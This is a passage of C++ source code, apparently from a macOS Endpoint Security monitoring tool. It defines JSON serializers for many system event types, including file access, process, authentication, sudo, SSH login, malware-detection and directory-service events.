398 |
399 | void to_json(json& j, const es_event_close_t& event) {
400 | j = json{
401 | {"modified", event.modified},
402 | {"target", safe_deref(event.target)},
403 | {"was_mapped_writable", event.was_mapped_writable},
404 | };
405 | }
406 |
407 | void to_json(json& j, const es_event_open_t& event) {
408 | j = json{
409 | {"fflag", event.fflag},
410 | {"file", safe_deref(event.file)},
411 | // {"reserved", event.reserved},
412 | };
413 | }
414 |
415 | void to_json(json& j, const es_event_setmode_t& event) {
416 | j = json{
417 | {"mode", event.mode},
418 | {"target", safe_deref(event.target)},
419 | // {"reserved", event.reserved},
420 | };
421 | }
422 |
423 | void to_json(json& j, const es_event_clone_t& event) {
424 | j = json{
425 | {"source", safe_deref(event.source)},
426 | {"target_dir", safe_deref(event.target_dir)},
427 | {"target_name", event.target_name},
428 | // {"reserved", event.reserved},
429 | };
430 | }
431 |
432 | void to_json(json& j, acl_t acl) {
433 | j = json{
434 | {"val", acl},
435 | };
436 | }
437 |
438 | void to_json(json& j, const es_event_create_t& event) {
439 | j = json{
440 | // {"reserved", event.reserved},
441 | // {"acl", event.acl},
442 | };
443 |
444 | if (event.destination_type == ES_DESTINATION_TYPE_NEW_PATH) {
445 | j["destination_type"] = "ES_DESTINATION_TYPE_NEW_PATH";
446 | j["destination"] = (create_destination_type_new_path){
447 | .dir = event.destination.new_path.dir,
448 | .filename = event.destination.new_path.filename,
449 | .mode = event.destination.new_path.mode
450 | };
451 | }
452 | else {
453 | j["destination_type"] = "ES_DESTINATION_TYPE_EXISTING_FILE";
454 | j["destination"] = (rename_destination_type_existing_file){
455 | .existing_file = event.destination.existing_file
456 | };
457 | }
458 | }
459 |
460 | void to_json(json& j, const es_btm_launch_item_t& item) {
461 | j = json{
462 | {"item_type", btm_item_type_names[item.item_type]},
463 | {"legacy", item.legacy},
464 | {"managed", item.managed},
465 | {"uid", item.uid},
466 | {"item_url", item.item_url},
467 | {"app_url", item.app_url},
468 | };
469 | }
470 |
471 | void to_json(json& j, const es_event_btm_launch_item_add_t& event) {
472 | j = json{
473 | {"instigator", safe_deref(event.instigator)},
474 | {"app", safe_deref(event.app)},
475 | {"item", safe_deref(event.item)},
476 | {"executable_path", event.executable_path},
477 | };
478 | }
479 |
480 | void to_json(json& j, const es_event_unlink_t& event) {
481 | j = json{
482 | {"target", safe_deref(event.target)},
483 | {"parent_dir", safe_deref(event.parent_dir)},
484 | // {"reserved", event.reserved},
485 | };
486 | }
487 |
488 | void to_json(json& j, const es_event_kextload_t& event) {
489 | j = json{
490 | {"identifier", event.identifier},
491 | // {"reserved", event.reserved},
492 | };
493 | }
494 |
495 | void to_json(json& j, const es_event_mmap_t& event) {
496 | j = json{
497 | {"protection", event.protection},
498 | {"max_protection", event.max_protection},
499 | {"flags", event.flags},
500 | {"file_pos", event.file_pos},
501 | {"source", safe_deref(event.source)},
502 | // {"reserved", event.reserved},
503 | };
504 | }
505 |
506 | void to_json(json& j, const es_event_mprotect_t& event) {
507 | j = json{
508 | {"protection", event.protection},
509 | {"address", event.address},
510 | {"size", event.size},
511 | // {"reserved", event.reserved},
512 | };
513 | }
514 |
515 | void to_json(json& j, const es_event_exchangedata_t& event) {
516 | j = json{
517 | {"file1", safe_deref(event.file1)},
518 | {"file2", safe_deref(event.file2)},
519 | // {"reserved", event.reserved},
520 | };
521 | }
522 |
523 | void to_json(json& j, const es_event_get_task_t& event) {
524 | j = json{
525 | {"target", safe_deref(event.target)},
526 | {"type", event.type},
527 | // {"reserved", event.reserved},
528 | };
529 | }
530 |
531 | void to_json(json& j, const es_event_kextunload_t& event) {
532 | j = json{
533 | {"identifier", event.identifier},
534 | // {"reserved", event.reserved},
535 | };
536 | }
537 |
538 | void to_json(json& j, const es_event_iokit_open_t& event) {
539 | j = json{
540 | {"user_client_type", event.user_client_type},
541 | {"user_client_class", event.user_client_class},
542 | // {"reserved", event.reserved},
543 | };
544 | }
545 |
546 | void to_json(json& j, const attrlist& list) {
547 | j = json{
548 | {"bitmapcount", list.bitmapcount},
549 | {"reserved", list.reserved},
550 | {"commonattr", list.commonattr},
551 | {"volattr", list.volattr},
552 | {"dirattr", list.dirattr},
553 | {"fileattr", list.fileattr},
554 | {"forkattr", list.forkattr},
555 | };
556 | }
557 |
558 | void to_json(json& j, const es_event_setattrlist_t& event) {
559 | j = json{
560 | {"attrlist", event.attrlist},
561 | {"target", safe_deref(event.target)},
562 | // {"reserved", event.reserved},
563 | };
564 | }
565 |
566 | void to_json(json& j, const es_event_write_t& event) {
567 | j = json{
568 | {"target", safe_deref(event.target)},
569 | // {"reserved", event.reserved},
570 | };
571 | }
572 |
573 | void to_json(json& j, const es_event_file_provider_materialize_t& event) {
574 | j = json{
575 | {"instigator", safe_deref(event.instigator)},
576 | {"source", safe_deref(event.source)},
577 | {"target", safe_deref(event.target)},
578 | // {"reserved", event.reserved},
579 | };
580 | }
581 |
582 | void to_json(json& j, const es_event_file_provider_update_t& event) {
583 | j = json{
584 | {"source", safe_deref(event.source)},
585 | {"target_path", event.target_path},
586 | // {"reserved", event.reserved},
587 | };
588 | }
589 |
590 | void to_json(json& j, const es_event_readlink_t& event) {
591 | j = json{
592 | {"source", safe_deref(event.source)},
593 | // {"reserved", event.reserved},
594 | };
595 | }
596 |
597 | void to_json(json& j, const es_event_lookup_t& event) {
598 | j = json{
599 | {"source_dir", safe_deref(event.source_dir)},
600 | {"relative_target", event.relative_target},
601 | // {"reserved", event.reserved},
602 | };
603 | }
604 |
605 | void to_json(json& j, const es_event_chdir_t& event) {
606 | j = json{
607 | {"target", safe_deref(event.target)},
608 | // {"reserved", event.reserved},
609 | };
610 | }
611 |
612 | void to_json(json& j, const es_event_getattrlist_t& event) {
613 | j = json{
614 | {"attrlist", event.attrlist},
615 | {"target", safe_deref(event.target)},
616 | // {"reserved", event.reserved},
617 | };
618 | }
619 |
620 | void to_json(json& j, const es_event_stat_t& event) {
621 | j = json{
622 | {"target", safe_deref(event.target)},
623 | // {"reserved", event.reserved},
624 | };
625 | }
626 |
627 | void to_json(json& j, const es_event_access_t& event) {
628 | j = json{
629 | {"mode", event.mode},
630 | {"target", safe_deref(event.target)},
631 | // {"reserved", event.reserved},
632 | };
633 | }
634 |
635 | void to_json(json& j, const es_event_chroot_t& event) {
636 | j = json{
637 | {"target", safe_deref(event.target)},
638 | // {"reserved", event.reserved},
639 | };
640 | }
641 |
642 | void to_json(json& j, const es_event_utimes_t& event) {
643 | j = json{
644 | {"target", safe_deref(event.target)},
645 | {"atime", event.atime},
646 | {"mtime", event.mtime},
647 | // {"reserved", event.reserved},
648 | };
649 | }
650 |
651 | void to_json(json& j, const es_event_fcntl_t& event) {
652 | j = json{
653 | {"target", safe_deref(event.target)},
654 | {"cmd", event.cmd},
655 | // {"reserved", event.reserved},
656 | };
657 | }
658 |
659 | void to_json(json& j, const es_event_getextattr_t& event) {
660 | j = json{
661 | {"target", safe_deref(event.target)},
662 | {"extattr", event.extattr},
663 | // {"reserved", event.reserved},
664 | };
665 | }
666 |
667 | void to_json(json& j, const es_event_listextattr_t& event) {
668 | j = json{
669 | {"target", safe_deref(event.target)},
670 | // {"reserved", event.reserved},
671 | };
672 | }
673 |
674 | void to_json(json& j, const es_event_readdir_t& event) {
675 | j = json{
676 | {"target", safe_deref(event.target)},
677 | // {"reserved", event.reserved},
678 | };
679 | }
680 |
681 | void to_json(json& j, const es_event_fsgetpath_t& event) {
682 | j = json{
683 | {"target", safe_deref(event.target)},
684 | // {"reserved", event.reserved},
685 | };
686 | }
687 |
688 | void to_json(json& j, const es_event_dup_t& event) {
689 | j = json{
690 | {"target", safe_deref(event.target)},
691 | // {"reserved", event.reserved},
692 | };
693 | }
694 |
695 | void to_json(json& j, const es_event_settime_t& event) {
696 | j = json{
697 | // {"reserved", event.reserved},
698 | };
699 |
700 | (void)event;
701 | }
702 |
703 | void to_json(json& j, const es_event_uipc_bind_t& event) {
704 | j = json{
705 | {"dir", safe_deref(event.dir)},
706 | {"filename", event.filename},
707 | {"mode", event.mode},
708 | // {"reserved", event.reserved},
709 | };
710 | }
711 |
712 | void to_json(json& j, const es_event_uipc_connect_t& event) {
713 | j = json{
714 | {"file", safe_deref(event.file)},
715 | {"domain", event.domain},
716 | {"type", event.type},
717 | {"protocol", event.protocol},
718 | // {"reserved", event.reserved},
719 | };
720 | }
721 |
722 | void to_json(json& j, const es_event_setacl_t& event) {
723 | j = json{
724 | {"target", safe_deref(event.target)},
725 | {"set_or_clear", event.set_or_clear},
726 | // {"acl", event.acl},
727 | // {"reserved", event.reserved},
728 | };
729 | }
730 |
731 | void to_json(json& j, const es_event_pty_grant_t& event) {
732 | j = json{
733 | {"dev", event.dev},
734 | // {"reserved", event.reserved},
735 | };
736 | }
737 |
738 | void to_json(json& j, const es_event_pty_close_t& event) {
739 | j = json{
740 | {"dev", event.dev},
741 | // {"reserved", event.reserved},
742 | };
743 | }
744 |
745 | void to_json(json& j, const es_event_proc_check_t& event) {
746 | j = json{
747 | {"target", safe_deref(event.target)},
748 | {"type", proc_check_type_names[event.type]},
749 | {"flavor", event.flavor},
750 | // {"reserved", event.reserved},
751 | };
752 | }
753 |
754 | void to_json(json& j, const es_event_searchfs_t& event) {
755 | j = json{
756 | {"attrlist", event.attrlist},
757 | {"target", safe_deref(event.target)},
758 | // {"reserved", event.reserved},
759 | };
760 | }
761 |
762 | void to_json(json& j, const es_event_proc_suspend_resume_t& event) {
763 | j = json{
764 | {"target", safe_deref(event.target)},
765 | {"type", proc_suspend_resume_type_names[event.type]},
766 | // {"reserved", event.reserved},
767 | };
768 | }
769 |
770 | void to_json(json& j, const es_event_cs_invalidated_t& event) {
771 | j = json{
772 | // {"reserved", event.reserved},
773 | };
774 |
775 | (void)event;
776 | }
777 |
778 | void to_json(json& j, const es_event_get_task_name_t& event) {
779 | j = json{
780 | {"target", safe_deref(event.target)},
781 | {"type", es_get_task_type_names[event.type]},
782 | // {"reserved", event.reserved},
783 | };
784 | }
785 |
786 | void to_json(json& j, const es_event_trace_t& event) {
787 | j = json{
788 | {"target", safe_deref(event.target)},
789 | // {"reserved", event.reserved},
790 | };
791 | }
792 |
793 | void to_json(json& j, const es_token_t& event) {
794 | j = json{
795 | {"size", event.size},
796 | {"data", std::vector(event.data, event.data + event.size)},
797 | };
798 | }
799 |
800 | void to_json(json& j, const es_thread_state_t& event) {
801 | j = json{
802 | {"flavor", event.flavor},
803 | {"state", event.state}
804 | };
805 | }
806 |
807 | void to_json(json& j, const es_event_remote_thread_create_t& event) {
808 | j = json{
809 | {"target", safe_deref(event.target)},
810 | {"thread_state", safe_deref(event.thread_state)},
811 | // {"reserved", event.reserved},
812 | };
813 | }
814 |
815 | void to_json(json& j, const es_event_remount_t& event) {
816 | j = json{
817 | {"statfs", safe_deref(event.statfs)},
818 | // {"reserved", event.reserved},
819 | };
820 | }
821 |
822 | void to_json(json& j, const es_event_get_task_read_t& event) {
823 | j = json{
824 | {"target", safe_deref(event.target)},
825 | {"type", es_get_task_type_names[event.type]},
826 | // {"reserved", event.reserved},
827 | };
828 | }
829 |
830 | void to_json(json& j, const es_event_get_task_inspect_t& event) {
831 | j = json{
832 | {"target", safe_deref(event.target)},
833 | {"type", es_get_task_type_names[event.type]},
834 | // {"reserved", event.reserved},
835 | };
836 | }
837 |
838 | void to_json(json& j, const es_event_setuid_t& event) {
839 | j = json{
840 | {"uid", event.uid},
841 | // {"reserved", event.reserved},
842 | };
843 | }
844 |
845 | void to_json(json& j, const es_event_setgid_t& event) {
846 | j = json{
847 | {"gid", event.gid},
848 | // {"reserved", event.reserved},
849 | };
850 | }
851 |
852 | void to_json(json& j, const es_event_seteuid_t& event) {
853 | j = json{
854 | {"euid", event.euid},
855 | // {"reserved", event.reserved},
856 | };
857 | }
858 |
859 | void to_json(json& j, const es_event_setegid_t& event) {
860 | j = json{
861 | {"egid", event.egid},
862 | // {"reserved", event.reserved},
863 | };
864 | }
865 |
866 | void to_json(json& j, const es_event_setreuid_t& event) {
867 | j = json{
868 | {"ruid", event.ruid},
869 | {"euid", event.euid},
870 | // {"reserved", event.reserved},
871 | };
872 | }
873 |
874 | void to_json(json& j, const es_event_setregid_t& event) {
875 | j = json{
876 | {"rgid", event.rgid},
877 | {"egid", event.egid},
878 | // {"reserved", event.reserved},
879 | };
880 | }
881 |
882 | void to_json(json& j, const es_event_copyfile_t& event) {
883 | j = json{
884 | {"source", safe_deref(event.source)},
885 | {"target_file", safe_deref(event.target_file)},
886 | {"target_dir", safe_deref(event.target_dir)},
887 | {"target_name", event.target_name},
888 | {"mode", event.mode},
889 | {"flags", event.flags},
890 | // {"reserved", event.reserved},
891 | };
892 | }
893 |
894 | void to_json(json& j, const es_event_authentication_od_t& event) {
895 | j = json{
896 | {"instigator", safe_deref(event.instigator)},
897 | {"record_type", event.record_type},
898 | {"record_name", event.record_name},
899 | {"node_name", event.node_name},
900 | {"db_path", event.db_path},
901 | };
902 | }
903 |
904 | void to_json(json& j, const es_event_authentication_touchid_t& event) {
905 | j = json{
906 | {"instigator", safe_deref(event.instigator)},
907 | {"touchid_mode", es_touchid_mode_names[event.touchid_mode]},
908 | {"has_uid", event.has_uid},
909 | };
910 |
911 | if (event.has_uid) {
912 | j["uid"] = event.uid.uid;
913 | }
914 | }
915 |
916 | void to_json(json& j, const es_event_authentication_token_t& event) {
917 | j = json{
918 | {"instigator", safe_deref(event.instigator)},
919 | {"pubkey_hash", event.pubkey_hash},
920 | {"token_id", event.token_id},
921 | {"kerberos_principal", event.kerberos_principal},
922 | };
923 | }
924 |
925 | void to_json(json& j, const es_event_authentication_auto_unlock_t& event) {
926 | j = json{
927 | {"username", event.username},
928 | {"type", es_auto_unlock_type_names[event.type]},
929 | };
930 | }
931 |
932 | void to_json(json& j, const es_event_authentication_t& event) {
933 | j = json{
934 | {"success", event.success},
935 | };
936 |
937 | if (event.type == ES_AUTHENTICATION_TYPE_OD) {
938 | j["type"] = "ES_AUTHENTICATION_TYPE_OD";
939 | j["data"] = safe_deref(event.data.od);
940 | }
941 | else if (event.type == ES_AUTHENTICATION_TYPE_TOUCHID) {
942 | j["type"] = "ES_AUTHENTICATION_TYPE_TOUCHID";
943 | j["data"] = safe_deref(event.data.touchid);
944 | }
945 | else if (event.type == ES_AUTHENTICATION_TYPE_TOKEN) {
946 | j["type"] = "ES_AUTHENTICATION_TYPE_TOKEN";
947 | j["data"] = safe_deref(event.data.token);
948 | }
949 | else if (event.type == ES_AUTHENTICATION_TYPE_AUTO_UNLOCK) {
950 | j["type"] = "ES_AUTHENTICATION_TYPE_AUTO_UNLOCK";
951 | j["data"] = safe_deref(event.data.auto_unlock);
952 | }
953 | }
954 |
955 | void to_json(json& j, const es_event_xp_malware_detected_t& event) {
956 | j = json{
957 | {"signature_version", event.signature_version},
958 | {"malware_identifier", event.malware_identifier},
959 | {"incident_identifier", event.incident_identifier},
960 | {"detected_path", event.detected_path},
961 | };
962 | }
963 |
964 | void to_json(json& j, const es_event_xp_malware_remediated_t& event) {
965 | j = json{
966 | {"signature_version", event.signature_version},
967 | {"malware_identifier", event.malware_identifier},
968 | {"incident_identifier", event.incident_identifier},
969 | {"action_type", event.action_type},
970 | {"success", event.success},
971 | {"result_description", event.result_description},
972 | {"remediated_path", event.remediated_path},
973 | {"remediated_process_audit_token", safe_deref(event.remediated_process_audit_token)},
974 | };
975 | }
976 |
977 | void to_json(json& j, const es_event_lw_session_login_t& event) {
978 | j = json{
979 | {"username", event.username},
980 | {"graphical_session_id", event.graphical_session_id},
981 | };
982 | }
983 |
984 | void to_json(json& j, const es_event_lw_session_logout_t& event) {
985 | j = json{
986 | {"username", event.username},
987 | {"graphical_session_id", event.graphical_session_id},
988 | };
989 | }
990 |
991 | void to_json(json& j, const es_event_lw_session_lock_t& event) {
992 | j = json{
993 | {"username", event.username},
994 | {"graphical_session_id", event.graphical_session_id},
995 | };
996 | }
997 |
998 | void to_json(json& j, const es_event_lw_session_unlock_t& event) {
999 | j = json{
1000 | {"username", event.username},
1001 | {"graphical_session_id", event.graphical_session_id},
1002 | };
1003 | }
1004 |
1005 | void to_json(json& j, const es_event_screensharing_attach_t& event) {
1006 | j = json{
1007 | {"success", event.success},
1008 | {"source_address_type", event.source_address_type},
1009 | {"source_address", event.source_address},
1010 | {"viewer_appleid", event.viewer_appleid},
1011 | {"authentication_type", event.authentication_type},
1012 | {"authentication_username", event.authentication_username},
1013 | {"session_username", event.session_username},
1014 | {"existing_session", event.existing_session},
1015 | {"graphical_session_id", event.graphical_session_id},
1016 | };
1017 | }
1018 |
1019 | void to_json(json& j, const es_event_screensharing_detach_t& event) {
1020 | j = json{
1021 | {"source_address_type", event.source_address_type},
1022 | {"source_address", event.source_address},
1023 | {"viewer_appleid", event.viewer_appleid},
1024 | {"graphical_session_id", event.graphical_session_id},
1025 | };
1026 | }
1027 |
1028 | void to_json(json& j, const es_event_openssh_login_t& event) {
1029 | j = json{
1030 | {"success", event.success},
1031 | {"result_type", es_openssh_login_result_type_names[event.result_type]},
1032 | {"source_address_type", event.source_address_type},
1033 | {"source_address", event.source_address},
1034 | {"username", event.username},
1035 | {"has_uid", event.has_uid},
1036 | {"uid", event.uid.uid},
1037 | };
1038 | }
1039 |
1040 | void to_json(json& j, const es_event_openssh_logout_t& event) {
1041 | j = json{
1042 | {"source_address_type", event.source_address_type},
1043 | {"source_address", event.source_address},
1044 | {"username", event.username},
1045 | {"uid", event.uid},
1046 | };
1047 | }
1048 |
1049 |
1050 | void to_json(json& j, const es_event_login_login_t& event) {
1051 | j = json{
1052 | {"success", event.success},
1053 | {"failure_message", event.failure_message},
1054 | {"username", event.username},
1055 | {"has_uid", event.has_uid},
1056 | };
1057 |
1058 | if (event.has_uid) {
1059 | j["uid"] = event.uid.uid;
1060 | }
1061 | }
1062 |
1063 | void to_json(json& j, const es_event_btm_launch_item_remove_t& event) {
1064 | j = json{
1065 | {"instigator", safe_deref(event.instigator)},
1066 | {"app", safe_deref(event.app)},
1067 | {"item", safe_deref(event.item)}
1068 | };
1069 | }
1070 |
1071 | void to_json(json& j, const es_event_login_logout_t& event) {
1072 | j = json{
1073 | {"username", event.username},
1074 | {"uid", event.uid}
1075 | };
1076 | }
1077 |
1078 | void to_json(json& j, const es_profile_t& profile) {
1079 | j = json{
1080 | {"identifier", profile.identifier},
1081 | {"uuid", profile.uuid},
1082 | {"install_source", es_profile_source_names[profile.install_source]},
1083 | {"organization", profile.organization},
1084 | {"display_name", profile.display_name},
1085 | {"scope", profile.scope}
1086 | };
1087 | }
1088 |
1089 | void to_json(json& j, const es_event_profile_add_t& event) {
1090 | j = json{
1091 | {"instigator", safe_deref(event.instigator)},
1092 | {"is_update", event.is_update},
1093 | {"profile", safe_deref(event.profile)},
1094 | };
1095 | }
1096 |
1097 | void to_json(json& j, const es_event_profile_remove_t& event) {
1098 | j = json{
1099 | {"instigator", safe_deref(event.instigator)},
1100 | {"profile", safe_deref(event.profile)},
1101 | };
1102 | }
1103 |
1104 | void to_json(json& j, const es_event_su_t& event) {
1105 | j = json{
1106 | {"success", event.success},
1107 | {"failure_message", event.failure_message},
1108 | {"from_uid", event.from_uid},
1109 | {"from_username", event.from_username},
1110 | {"has_to_uid", event.has_to_uid},
1111 | {"to_username", event.to_username},
1112 | {"shell", event.shell},
1113 | {"argc", event.argc},
1114 | {"argv", safe_deref(event.argv)},
1115 | {"env_count", event.env_count},
1116 | {"env", safe_deref(event.env)}
1117 | };
1118 |
1119 | if (event.has_to_uid) {
1120 | j["to_uid"] = event.to_uid.uid;
1121 | }
1122 | }
1123 |
1124 | void to_json(json& j, const es_event_authorization_petition_t& event) {
1125 | j = json{
1126 | {"instigator", safe_deref(event.instigator)},
1127 | {"petitioner", safe_deref(event.petitioner)},
1128 | {"flags", event.flags},
1129 | {"right_count", event.right_count},
1130 | };
1131 |
1132 | if (event.right_count > 0) {
1133 | j["rights"] = safe_deref(event.rights);
1134 | }
1135 | }
1136 |
1137 | void to_json(json& j, const es_authorization_result_t& event) {
1138 | j = json{
1139 | {"right_name", event.right_name},
1140 | {"rule_class", event.rule_class},
1141 | {"granted", event.granted}
1142 | };
1143 | }
1144 |
1145 | void to_json(json &j, const es_event_authorization_judgement_t& event) {
1146 | j = json{
1147 | {"instigator", safe_deref(event.instigator)},
1148 | {"petitioner", safe_deref(event.petitioner)},
1149 | {"return_code", event.return_code},
1150 | {"result_count", event.result_count}
1151 | };
1152 |
1153 | for (size_t i = 0; i < event.result_count; i++) {
1154 | j["results"][i] = event.results[i];
1155 | }
1156 | }
1157 |
1158 | void to_json(json& j, const es_sudo_reject_info_t& event) {
1159 | j = json{
1160 | {"plugin_name", event.plugin_name},
1161 | {"plugin_type", es_sudo_plugin_type_names[event.plugin_type]},
1162 | {"failure_message", event.failure_message}
1163 | };
1164 | }
1165 |
1166 | void to_json(json& j, const es_event_sudo_t& event) {
1167 | j = json{
1168 | {"success", event.success},
1169 | {"reject_info", safe_deref(event.reject_info)},
1170 | {"has_from_uid", event.has_from_uid},
1171 | {"from_username", event.from_username},
1172 | {"has_to_uid", event.has_to_uid},
1173 | {"to_username", event.to_username},
1174 | {"command", event.command}
1175 | };
1176 |
1177 | if (event.has_from_uid) {
1178 | j["from_uid"] = event.from_uid.uid;
1179 | }
1180 |
1181 | if (event.has_to_uid) {
1182 | j["to_uid"] = event.to_uid.uid;
1183 | }
1184 | }
1185 |
1186 | void to_json(json& j, const es_od_member_id_t& event) {
1187 | j = json{
1188 | {"member_type", es_od_member_type_names[event.member_type]}
1189 | };
1190 |
1191 | if (event.member_type == ES_OD_MEMBER_TYPE_USER_NAME) {
1192 | j["name"] = event.member_value.name;
1193 | }
1194 | else {
1195 | j["uuid"] = event.member_value.uuid;
1196 | }
1197 | }
1198 |
1199 | void to_json(json& j, const es_event_od_group_add_t& event) {
1200 | j = json{
1201 | {"instigator", safe_deref(event.instigator)},
1202 | {"error_code", event.error_code},
1203 | {"group_name", event.group_name},
1204 | {"member", safe_deref(event.member)},
1205 | {"node_name", event.node_name},
1206 | {"db_path", event.db_path}
1207 | };
1208 | }
1209 |
1210 | void to_json(json& j, const es_event_od_group_remove_t& event) {
1211 | j = json{
1212 | {"instigator", safe_deref(event.instigator)},
1213 | {"error_code", event.error_code},
1214 | {"group_name", event.group_name},
1215 | {"member", safe_deref(event.member)},
1216 | {"node_name", event.node_name},
1217 | {"db_path", event.db_path}
1218 | };
1219 | }
1220 |
1221 | void to_json(json& j, const es_od_member_id_array_t& event) {
1222 | j = json{
1223 | {"member_type", es_od_member_type_names[event.member_type]},
1224 | {"member_count", event.member_count},
1225 | };
1226 |
1227 | for (size_t i = 0; i < event.member_count; i++) {
1228 | if (event.member_type == ES_OD_MEMBER_TYPE_USER_NAME) {
1229 | j["names"][i] = event.member_array.names[i];
1230 | }
1231 | else {
1232 | j["uuids"][i] = event.member_array.uuids[i];
1233 | }
1234 | }
1235 | }
1236 |
1237 | void to_json(json& j, const es_event_od_group_set_t& event) {
1238 | j = json{
1239 | {"instigator", safe_deref(event.instigator)},
1240 | {"error_code", event.error_code},
1241 | {"group_name", event.group_name},
1242 | {"members", safe_deref(event.members)},
1243 | {"node_name", event.node_name},
1244 | {"db_path", event.db_path}
1245 | };
1246 | }
1247 |
1248 | void to_json(json& j, const es_event_od_modify_password_t& event) {
1249 | j = json{
1250 | {"instigator", safe_deref(event.instigator)},
1251 | {"error_code", event.error_code},
1252 | {"account_type", es_od_account_type_names[event.account_type]},
1253 | {"account_name", event.account_name},
1254 | {"node_name", event.node_name},
1255 | {"db_path", event.db_path}
1256 | };
1257 | }
1258 |
1259 | void to_json(json& j, const es_event_od_disable_user_t& event) {
1260 | j = json{
1261 | {"instigator", safe_deref(event.instigator)},
1262 | {"error_code", event.error_code},
1263 | {"user_name", event.user_name},
1264 | {"node_name", event.node_name},
1265 | {"db_path", event.db_path}
1266 | };
1267 | }
1268 |
1269 | void to_json(json& j, const es_event_od_enable_user_t& event) {
1270 | j = json{
1271 | {"instigator", safe_deref(event.instigator)},
1272 | {"error_code", event.error_code},
1273 | {"user_name", event.user_name},
1274 | {"node_name", event.node_name},
1275 | {"db_path", event.db_path}
1276 | };
1277 | }
1278 |
1279 | void to_json(json& j, const es_event_od_attribute_value_add_t& event) {
1280 | j = json{
1281 | {"instigator", safe_deref(event.instigator)},
1282 | {"error_code", event.error_code},
1283 | {"record_type", es_od_record_type_names[event.record_type]},
1284 | {"record_name", event.record_name},
1285 | {"attribute_name", event.attribute_name},
1286 | {"attribute_value", event.attribute_value},
1287 | {"node_name", event.node_name},
1288 | {"db_path", event.db_path}
1289 | };
1290 | }
1291 |
1292 | void to_json(json& j, const es_event_od_attribute_value_remove_t& event) {
1293 | j = json{
1294 | {"instigator", safe_deref(event.instigator)},
1295 | {"error_code", event.error_code},
1296 | {"record_type", es_od_record_type_names[event.record_type]},
1297 | {"record_name", event.record_name},
1298 | {"attribute_name", event.attribute_name},
1299 | {"attribute_value", event.attribute_value},
1300 | {"node_name", event.node_name},
1301 | {"db_path", event.db_path}
1302 | };
1303 | }
1304 |
1305 | void to_json(json& j, const es_event_od_attribute_set_t& event) {
1306 | j = json{
1307 | {"instigator", safe_deref(event.instigator)},
1308 | {"error_code", event.error_code},
1309 | {"record_type", es_od_record_type_names[event.record_type]},
1310 | {"record_name", event.record_name},
1311 | {"attribute_name", event.attribute_name},
1312 | {"attribute_value_count", event.attribute_value_count},
1313 | {"node_name", event.node_name},
1314 | {"db_path", event.db_path}
1315 | };
1316 |
1317 | for (size_t i = 0; i < event.attribute_value_count; i++) {
1318 | j["attribute_values"][i] = event.attribute_values[i];
1319 | }
1320 | }
1321 |
1322 | void to_json(json& j, const es_event_od_create_user_t& event) {
1323 | j = json{
1324 | {"instigator", safe_deref(event.instigator)},
1325 | {"error_code", event.error_code},
1326 | {"user_name", event.user_name},
1327 | {"node_name", event.node_name},
1328 | {"db_path", event.db_path}
1329 | };
1330 | }
1331 |
1332 | void to_json(json& j, const es_event_od_create_group_t& event) {
1333 | j = json{
1334 | {"instigator", safe_deref(event.instigator)},
1335 | {"error_code", event.error_code},
1336 | {"group_name", event.group_name},
1337 | {"node_name", event.node_name},
1338 | {"db_path", event.db_path}
1339 | };
1340 | }
1341 |
1342 | void to_json(json& j, const es_event_od_delete_user_t& event) {
1343 | j = json{
1344 | {"instigator", safe_deref(event.instigator)},
1345 | {"error_code", event.error_code},
1346 | {"user_name", event.user_name},
1347 | {"node_name", event.node_name},
1348 | {"db_path", event.db_path}
1349 | };
1350 | }
1351 |
1352 | void to_json(json& j, const es_event_od_delete_group_t& event) {
1353 | j = json{
1354 | {"instigator", safe_deref(event.instigator)},
1355 | {"error_code", event.error_code},
1356 | {"group_name", event.group_name},
1357 | {"node_name", event.node_name},
1358 | {"db_path", event.db_path}
1359 | };
1360 | }
1361 |
1362 | void to_json(json& j, const es_event_xpc_connect_t& event) {
1363 | j = json{
1364 | {"service_name", event.service_name},
1365 | {"service_domain_type", es_xpc_domain_type_names[event.service_domain_type]}
1366 | };
1367 | }
1368 |
--------------------------------------------------------------------------------